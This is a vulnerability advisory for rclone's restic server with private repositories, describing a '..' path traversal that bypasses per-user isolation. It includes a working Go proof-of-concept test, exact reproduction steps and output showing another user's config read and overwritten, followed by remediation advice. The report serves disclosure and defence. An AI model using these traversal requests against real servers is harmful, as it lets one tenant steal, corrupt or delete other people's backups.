rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories

WithRemote builds the backend object key from the raw URL path with no path.Clean and no .. rejection (the only transformation is the unrelated data/xx sharding rewrite):

func WithRemote(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		var urlpath string
		rctx := chi.RouteContext(r.Context())
		if rctx != nil && rctx.RoutePath != "" {
			urlpath = rctx.RoutePath
		} else {
			urlpath = r.URL.Path
		}
		urlpath = strings.Trim(urlpath, "/")
		parts := matchData.FindStringSubmatch(urlpath)
		// ... data/2159dd48 -> data/21/2159dd48 sharding only ...
		ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
		next.ServeHTTP(w, r.WithContext(ctx))
	})
}

Route wiring (Bind): the auth-bearing {userID} segment is matched by chi for checkPrivate, but the catch-all /* that WithRemote reads keeps the literal ..:

if s.opt.PrivateRepos {
	router.Route("/{userID}", func(r chi.Router) {
		r.Use(checkPrivate)
		s.bind(r)
	})
	...
}

The remote stored by WithRemote is then used verbatim by the object handlers, e.g. serveObject → s.newObject(ctx, remote) → s.f.NewObject(ctx, remote), postObject → operations.RcatSize(..., remote, ...), and deleteObject → o.Remove(...). For a request GET /test/../victim/config, instrumentation shows checkPrivate observing userIDparam="test" (authorized) while the object remote is "test/../victim/config" — the desync is exact.

Attacker model / precondition

The attacker is a low-privileged but legitimately authenticated user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.

Preconditions: (1) the operator runs rclone serve restic with --private-repos and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX path.Join/path.Clean semantics so the .. collapses before the object is located. This holds for the bundled memory backend (used in the self-contained PoC), and for the commonly deployed sftp and ftp backends, whose object path is computed as path.Join(f.absRoot, remote) (backend/sftp/sftp.go, o.path()), which canonicalizes ... It does not hold for the local backend (which deliberately re-encodes ./.. path components to fullwidth characters in cleanRootPath/localPath, neutralizing traversal), and S3-style backends treat keys as opaque so a literal .. key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.

Impact

Across the per-user trust boundary that --private-repos is meant to enforce, any authenticated user can, against any other user's repository on the same server:

• Read (GET): download the victim's restic config and keys/* files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.)
• Overwrite (POST): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if --append-only is set.
• Delete (DELETE): remove the victim's repository objects, destroying their backups. Blocked only if --append-only is set (which still allows the read primitive).

This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback httptest listener backed by the bundled in-memory backend (which has the same path.Join key semantics as the sftp/ftp backends), then sends raw, un-normalized HTTP request-targets over a TCP socket (so the .. is not collapsed client-side). It proves: (1) a user reads their own object — 200; (2) a direct cross-tenant request is correctly blocked — 403; (3) the .. bypass reads the victim's secret — 200 + leak; (4) the same bypass overwrites the victim's object — 200.

Reproduce against the exact vulnerable tag:

git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone
cd rclone
# write the test file shown below to cmd/serve/restic/zzz_poc_test.go
go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v

cmd/serve/restic/zzz_poc_test.go:

package restic

import (
	"bufio"
	"context"
	"encoding/base64"
	"fmt"
	"net"
	"net/http/httptest"
	"strings"
	"testing"
	"time"

	"github.com/rclone/rclone/fs"
	"github.com/rclone/rclone/fs/config/configfile"
	"github.com/rclone/rclone/fs/object"
	"github.com/rclone/rclone/lib/random"
	"github.com/stretchr/testify/require"

	_ "github.com/rclone/rclone/backend/memory"
)

func pocBasicAuth(user, pass string) string {
	return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}

// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)
// request-target + method + Basic auth, returning the full raw response.
func rawReq(t *testing.T, addr, method, target, user, pass string) string {
	conn, err := net.Dial("tcp", addr)
	require.NoError(t, err)
	defer func() { _ = conn.Close() }()
	cred := pocBasicAuth(user, pass)
	req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred)
	_, err = conn.Write([]byte(req))
	require.NoError(t, err)
	r := bufio.NewReader(conn)
	var sb strings.Builder
	buf := make([]byte, 8192)
	for {
		n, err := r.Read(buf)
		if n > 0 {
			sb.Write(buf[:n])
		}
		if err != nil {
			break
		}
	}
	return sb.String()
}

func pocBody(resp string) string {
	if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 {
		return resp[idx+4:]
	}
	return ""
}
func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] }

// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass
// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).
func TestPrivateRepoCrossTenantPoC(t *testing.T) {
	configfile.Install()
	ctx := context.Background()

	// Bucket-style backend shared by all private-repo users.
	f, err := fs.NewFs(ctx, ":memory:repos")
	require.NoError(t, err)

	put := func(remote, content string) {
		info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)
		_, perr := f.Put(ctx, strings.NewReader(content), info)
		require.NoError(t, perr)
	}

	// Victim "alice" uploads her restic config under her own private prefix.
	secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8)
	put("alice/config", secret)

	// Attacker "mallory" has her own valid account on the same server.
	put("mallory/config", "mallory-own-config")

	opt := newOpt()
	opt.PrivateRepos = true
	opt.Auth.BasicUser = "mallory"
	opt.Auth.BasicPass = "password"
	opt.HTTP.ListenAddr = nil

	s, err := newServer(ctx, f, &opt)
	require.NoError(t, err)
	ts := httptest.NewServer(s.server.Router())
	defer ts.Close()
	addr := strings.TrimPrefix(ts.URL, "http://")

	// 1. Sanity: mallory reads her own config -> 200.
	r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password")
	t.Logf("[own]            GET /mallory/config              -> %s  body=%q", pocStatus(r1), pocBody(r1))

	// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403.
	r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password")
	t.Logf("[direct-blocked] GET /alice/config               -> %s  body=%q", pocStatus(r2), pocBody(r2))

	// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so
	//    checkPrivate passes, but the object remote collapses to alice/config.
	r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password")
	leaked := strings.Contains(pocBody(r3), secret)
	t.Logf("[BYPASS]         GET /mallory/../alice/config     -> %s  leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))

	require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object")
	require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")

	// 4. Write bypass too: mallory overwrites alice's object (append-only off).
	r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password")
	t.Logf("[BYPASS-write]   POST /mallory/../alice/config    -> %s", pocStatus(r4))
}

Observed output (v1.74.3 and master HEAD):

=== RUN   TestPrivateRepoCrossTenantPoC
    zzz_poc_test.go: [own]            GET /mallory/config              -> HTTP/1.1 200 OK  body="mallory-own-config"
    zzz_poc_test.go: [direct-blocked] GET /alice/config               -> HTTP/1.1 403 Forbidden  body="Forbidden\n"
    zzz_poc_test.go: [BYPASS]         GET /mallory/../alice/config     -> HTTP/1.1 200 OK  leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0"
    zzz_poc_test.go: [BYPASS-write]   POST /mallory/../alice/config    -> HTTP/1.1 200 OK
--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)
PASS
ok  	github.com/rclone/rclone/cmd/serve/restic	0.022s

The shipped TestResticPrivateRepositories continues to pass alongside this PoC, confirming the intended isolation model (own 200, direct cross-tenant 403) is exactly what the .. request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or net/http client would canonicalize the .. before sending, but curl --path-as-is, restic's own REST client, or any raw socket write preserves it.

Remediation

Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the same cleaned value:

• In WithRemote (or before checkPrivate runs), reject or path.Clean the request path and refuse any path containing a .. element after a leading-slash trim — e.g. compute cleaned := path.Clean("/" + strings.Trim(urlpath, "/")) and 403/400 if cleaned differs from the original or still contains a .. segment. Then store cleaned (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth.
• Additionally, in checkPrivate, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi {userID} route param in isolation: require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID.
• Defense in depth: the restic server should canonicalize and ..-reject incoming object paths even when --private-repos is off, so that no backend is relied upon to neutralize traversal.

Please credit 5ud0 / Tarmo Technologies.